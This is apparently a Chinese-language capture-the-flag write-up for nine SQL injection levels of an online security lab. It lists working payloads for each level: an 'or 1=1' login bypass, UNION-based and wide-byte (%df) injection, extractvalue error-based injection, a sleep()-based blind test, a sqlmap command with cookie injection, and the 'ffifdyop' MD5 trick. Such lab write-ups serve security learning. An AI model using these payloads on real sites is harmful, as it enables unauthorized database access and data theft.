网络安全实验室--SQL注入关
第一关
万能密码:username='or '1'='1'# password=1 即可登录得到flag。
第二关
最基础的注入,order by 判断字段数,然后 union select 查询表,列,字段。
payload:id=1 union select 1,database(),3 from information_schema.tables where table_schema=database()%23 得到数据库名,之后自己发挥。。。。
第三关
懵逼了很长时间,一看大佬的wp,秒懂,脑回路不行,没想到这个。。。。
宽字节注入,就是用繁体字的url编码吃掉反斜杠,payload;id=1%df%27union%20select%201,database(),3%20from%20information_schema.tables%20where%20table_schema=database()%23
第四关
这个题到是真的没有接触过,limit注入,我直接sqlmap跑的,原谅菜鸡。。。。。
第五关
这个题也比较头疼,图片注入,牛逼牛逼。。。。图片注入而且要用宽字节。。
第六关
报错注入,终于能自己操作操作了,没什么过滤,直接上payload:username=admin' and extractvalue(1,(concat(0x3c,(select database() from information_schema.schemata limit 0,1))))%23
然后查看源码,得到数据库名。
第七关
盲注,想到用 if(),sleep()等函数,payload:username=guest' and if(1,sleep(5),1)%23
页面返回延迟5秒,所以存在盲注,写爆破脚本吧。
第八关
能输入的地方都不存在注入,抓包,试试cookie,存在注入,哈哈。。给cookie一个值就可以了,如:cookie:id=.........;PHPSSIONID=11111111
sqlmap:sqlmap -u http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 --cookie "id=1;PHPSESSID=0f83b91303f3eb5aa68c9f47b8e2c4ae" --dbs --level 2
第九关
感觉很熟悉,但是想不起来了,我的个脑子啊。求助大佬。
得知 是 md5 注入,MD5有一个特殊的字符串ffifdyop
加密后的MD5是276f722736c95d99e921722cf9ed621c
再变成字符串就成了'or'6<trash>
就造成了注入,tqltql。。。。
还需继续努力学习。